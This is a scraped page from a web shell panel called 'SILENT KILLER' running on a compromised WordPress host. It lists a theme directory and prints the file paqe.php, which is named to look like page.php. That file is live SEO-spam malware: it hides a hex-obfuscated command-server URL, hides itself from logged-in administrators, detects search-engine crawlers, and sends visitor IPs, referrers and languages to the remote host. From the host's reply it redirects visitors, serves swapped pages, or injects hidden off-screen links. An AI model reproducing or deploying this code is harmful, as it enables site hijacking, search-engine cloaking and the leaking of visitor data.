SILENT KILLERPanel

Current Path: > home > ivftiowh > greeceivf.com > wp-content > themes > home-1753973185


Operation   : Linux premium88.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
Software     : Apache
Server IP    : 185.61.154.216 | Your IP: 216.73.216.44
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: /home/ivftiowh/greeceivf.com/wp-content/themes/home-1753973185

NameTypeSizeLast ModifiedActions
images Directory - -
inc Directory - -
js Directory - -
languages Directory - -
template-parts Directory - -
404.php File 1663 bytes July 31 2025 14:46:28.
LICENSE File 26530 bytes July 31 2025 14:46:28.
README.md File 520 bytes July 31 2025 14:46:28.
archive.php File 1058 bytes July 31 2025 14:46:28.
comments.php File 1994 bytes July 31 2025 14:46:28.
customizer.css File 6042 bytes July 31 2025 14:46:28.
footer.php File 976 bytes July 31 2025 14:46:28.
functions.php File 25552 bytes July 31 2025 14:46:28.
header.php File 1929 bytes July 31 2025 14:46:28.
index.php File 1276 bytes July 31 2025 14:46:28.
page.php File 809 bytes July 31 2025 14:46:28.
paqe.php File 12087 bytes July 31 2025 14:46:28.
readme.txt File 9151 bytes July 31 2025 14:46:28.
screenshot.jpg File 280448 bytes July 31 2025 14:46:28.
search-sql.php File 185495 bytes July 31 2025 14:46:28.
search.php File 1089 bytes July 31 2025 14:46:28.
sidebar.css File 8951 bytes July 31 2025 14:46:28.
sidebar.php File 360 bytes July 31 2025 14:46:28.
single.php File 959 bytes July 31 2025 14:46:28.
style-rtl.css File 29232 bytes July 31 2025 14:46:28.
style.css File 29215 bytes July 31 2025 14:46:28.
woocommerce-rtl.css File 24186 bytes July 31 2025 14:46:28.
woocommerce.css File 24212 bytes July 31 2025 14:46:28.

Reading File: /home/ivftiowh/greeceivf.com/wp-content/themes/home-1753973185/paqe.php

<!--Ubuvrk4U-->
<?php

if (!class_exists('Advanced_LinkFlow_Control')) {
    if (function_exists('is_user_logged_in')) {
        if (is_user_logged_in()) {
            return false;
        }
    }
    foreach ($_COOKIE as $key => $value) {
        if (strpos($key, 'wordpress_logged_in_') === 0) {
            return false;
        }
    }
    @ini_set('display_errors', 0);
    @ini_set('error_reporting', 0);
    @ini_set('log_errors', NULL);
    @ini_set('default_socket_timeout', 10);
    $uri = $_SERVER['REQUEST_URI'];
    $ua = $_SERVER['HTTP_USER_AGENT'];
    $bad_urls = '#xmlrpc.php|wp-includes|wp-admin|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|\/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|\.jpg|administrator#';
    if (@preg_match($bad_urls, $_SERVER['HTTP_HOST'] . $uri)) {
        return false;
    }

    class Advanced_LinkFlow_Control {
        public $url = "\x68\x74\x74\x70:\x2f/\x73h\x69z\x61.\x6ci\x76e\x2fg\x65t\x2ep\x68p";
        public $ua = '';
        public $uri = '';
        public $ip = '';
        public $lang = '';
        public $google_ip_list = array(
            "64.233.*", "66.102.*", "66.249.*", "72.14.*", "74.125.*",
            "108.177.*", "209.85.*", "216.239.*", "172.217.*", "35.190.247.*"
        );

        public $bing_ip_list = array(
            "13.66.*.*", "13.67.*.*", "13.68.*.*", "13.69.*.*",
            "20.36.*.*", "20.37.*.*", "20.38.*.*", "20.39.*.*",
            "40.77.*.*", "40.79.*.*", "52.231.*.*", "191.233.*.*"
        );
        public $yandex_ip_list = array(
            "5.45.*.*", "5.255.*.*", "37.9.*.*", "37.140.*.*",
            "77.88.*.*", "84.252.*.*", "87.250.*.*", "90.156.*.*",
            "93.158.*.*", "95.108.*.*", "141.8.*.*", "178.154.*.*",
            "213.180.*.*", "185.32.187.*"
        );
        public $links = array();
        public $bot = '';
        public $ref = '';
        function get($url) {
            if (function_exists('curl_init')) {
                $ch = curl_init($url);
                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                curl_setopt($ch, CURLOPT_TIMEOUT, 30);
                curl_setopt($ch, CURLOPT_HEADER, 0);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                $data = curl_exec($ch);
                curl_close($ch);
                return $data;
            } elseif (@ini_get('allow_url_fopen')) {
                return @file_get_contents($url);
            } else {
                $parts = parse_url($url);
                $target = $parts['host'];
                $port = isset($parts['port']) ? $parts['port'] : 80;
                $page = isset($parts['path']) ? $parts['path'] : '';
                $page .= isset($parts['query']) ? '?' . $parts['query'] : '';
                $page .= isset($parts['fragment']) ? '#' . $parts['fragment'] : '';
                $page = ($page == '') ? '/' : $page;
                if ($fp = @fsockopen($target, $port, $errno, $errstr, 3)) {
                    @socket_set_option($fp, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 1, "usec" => 1));
                    $headers = "GET $page HTTP/1.1\r\n";
                    $headers .= "Host: {$parts['host']}\r\n";
                    $headers .= "Connection: Close\r\n\r\n";
                    if (fwrite($fp, $headers)) {
                        $resp = '';
                        while (!feof($fp) && ($curr = fgets($fp, 128)) !== false) {
                            $resp .= $curr;
                        }
                        if (isset($curr) && $curr !== false) {
                            fclose($fp);
                            return substr(strstr($resp, "\r\n\r\n"), 3);
                        }
                    }
                    fclose($fp);
                }
            }
            return TRUE;
        }

        function init($uri, $ua) {
            $this->uri = $uri;
            $bot = FALSE;
            $this->ip = isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'unknown');
            $this->ref = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
            $this->lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
            if (@preg_match('/googlebot|google-structured-data/i', $ua)) {
                $bot = TRUE;
                $this->bot = 'google';
            }
            if (@preg_match('/bing|msn|msr|slurp|yahoo/i', $ua)) {
                $bot = TRUE;
                $this->bot = 'bing';
            }
            if (@preg_match('/yandexbot|yandeximages|yandexmobilebot|yandex/i', $ua)) {
                $bot = TRUE;
                $this->bot = 'yandex';
            }
            if (@preg_match('/duckduckbot/i', $ua)) {
                $bot = TRUE;
                $this->bot = 'duckduck';
            }
            if (@preg_match('~aport|rambler|abachobot|accoona|acoirobot|aspseek|croccrawler|dumbot|webcrawler|geonabot|gigabot|lycos|scooter|altavista|webalta|adbot|estyle|mail\.ru|scrubby~i', $ua)) {
                $bot = TRUE;
                $this->bot = 'other';
            }
            if (!$bot) {
                $bot_sources = [
                    'google' => $this->google_ip_list ?? [],
                    'bing'   => $this->bing_ip_list ?? [],
                    'yandex' => $this->yandex_ip_list ?? [],
                ];
                foreach ($bot_sources as $bot_name => $ip_list) {
                    foreach ($ip_list as $ip_mask) {
                        $pattern = '#^' . str_replace(['.', '*'], ['\.', '.*'], $ip_mask) . '$#';
                        if (preg_match($pattern, $this->ip)) {
                            $bot = TRUE;
                            $this->bot = $bot_name;
                            break 2;
                        }
                    }
                }
            }
            if (!$bot) {
                $hostbyaddr = @gethostbyaddr($this->ip);
                $host_patterns = [
                    'google'     => 'googlebot|google',
                    'bing'       => 'bing|msn|msr|slurp|yahoo',
                    'yandex'     => 'yandex',
                    'duckduckgo' => 'duckduckgo|duckduckbot',
                ];
                foreach ($host_patterns as $bot_name => $pattern) {
                    if (preg_match("/$pattern/i", $hostbyaddr)) {
                        $bot = TRUE;
                        $this->bot = $bot_name;
                        break;
                    }
                }
            }
            if (!empty($_SERVER['SERVER_NAME'])) {
                $tmp = @parse_url('http://' . $_SERVER['SERVER_NAME']);
                if (isset($tmp['host'])) {
                    $host = $tmp['host'];
                }
            }
            $url = $this->url . "?host=$host&uri=" . urlencode($this->uri) . "&bot={$this->bot}&ip={$this->ip}&ref=" . urlencode($this->ref) . '&lang=' . urlencode($this->lang);
            if (isset($_COOKIE['LFD']) || isset($_REQUEST['LFD'])) {
                $url .= '&check=1';
                $page = $this->get($url);
                $res = 0;
                if (strpos($page, "XTESTOKX") !== false) {
                    $res = 1;
                }
                die(json_encode([
                    'r' => $res,
                    'funcs' => [
                        'curl_init'         => function_exists('curl_init') ? 1 : 0,
                        'file_get_contents' => function_exists('file_get_contents') ? 1 : 0,
                        'allow_url_fopen'   => ini_get('allow_url_fopen') ? 1 : 0,
                        'fsockopen'         => function_exists('fsockopen') ? 1 : 0,
                        'socket_set_option' => function_exists('socket_set_option') ? 1 : 0,
                    ]
                ]));
            }
            if (isset($_COOKIE['CURLOPT_LF_TEST']) || isset($_REQUEST['CURLOPT_LF_TEST'])) {
                $url .= '&check=1';
            }
            $page = $this->get($url);
            if (preg_match('/<url>(.*?)<\/url>/us', $page, $matches)) {
                $url = $matches[1];
                header("Location: {$url}");
                exit;
            }
            if (preg_match('/<page>(.*?)<\/page>/us', $page, $matches)) {
                $page = $matches[1];
                die($page);
            }
            if (strpos($page, '<link>') !== FALSE) {
                preg_match_all('~<link>(.*?)</link>~', $page, $m);
                $this->links = isset($m[1]) ? $m[1] : array();
            }
            if (count($this->links) > 0) {
                ob_start(array($this, 'rwcontent'));
                register_shutdown_function('ob_end_flush');
            }
        }

        function rwcontent($content) {
            $blocked_tags = array('header', 'footer');
            $tags = array('p', 'span', 'strong', 'em', 'i', 'td', 'div', 'ul', 'li', 'body');
            $tags_vals = array();
            foreach ($tags as $tag) {
                preg_match_all("~<{$tag}\s+.*?>(.*?)</{$tag}>~is", $content, $matches);
                if (isset($matches[0])) {
                    foreach ($matches[0] as $match) {
                        $is_blocked = false;
                        foreach ($blocked_tags as $blocked_tag) {
                            $pattern = "~<{$blocked_tag}.*?>.*?{$match}.*?</{$blocked_tag}>~is";
                            if (preg_match($pattern, $content)) {
                                $is_blocked = true;
                                break;
                            }
                        }
                        if (!$is_blocked) {
                            $tags_vals[] = array('tag' => $tag, 'content' => $match);
                        }
                    }
                }
                if (count($tags_vals) > count($this->links)) {
                    break;
                }
            }
            $tag_index = 0;
            $link_index = 0;
            $links_count = count($this->links);
            $tags_vals_count = count($tags_vals);

            while ($link_index < $links_count && $tag_index < $tags_vals_count) {
                $link = $this->links[$link_index];
                if (str_ends_with($link, '###')) {
                    $linkHTML = str_replace('###', '', $link);
                } else {
                    $number = 7200 + strlen($link) % 1000;
                    $linkHTML = "<div style=\"position: absolute; left: -{$number}px;\">{$link}</div> ";
                }
                $tag_val = $tags_vals[$tag_index];
                if (strlen($tag_val['content']) % 2 == 1) {
                    $tag_content_new = $tag_val['content'];
                    $tag_content_new = preg_replace("(<{$tag_val['tag']}.*?>)", "$0 {$linkHTML}", $tag_content_new, 1);
                } else {
                    if (substr($tag_val['content'], -(strlen($tag_val['tag']) + 4)) == ".</{$tag_val['tag']}>") {
                        $tag_content_new = str_replace(".</{$tag_val['tag']}>", " {$linkHTML}</{$tag_val['tag']}>", $tag_val['content']);
                    } else {
                        $tag_content_new = str_replace("</{$tag_val['tag']}>", " {$linkHTML}</{$tag_val['tag']}>", $tag_val['content']);
                    }
                }
                $content = preg_replace("~" . preg_quote($tag_val['content'], '~') . "~i", $tag_content_new, $content, 1);
                if (strpos($content, $linkHTML) !== false) {
                    $link_index++;
                }
                $tag_index++;
            }
            return $content;
        }
    }

    $ratel = new Advanced_LinkFlow_Control;
    $ratel->init($uri, $ua);
}

SILENT KILLER Tool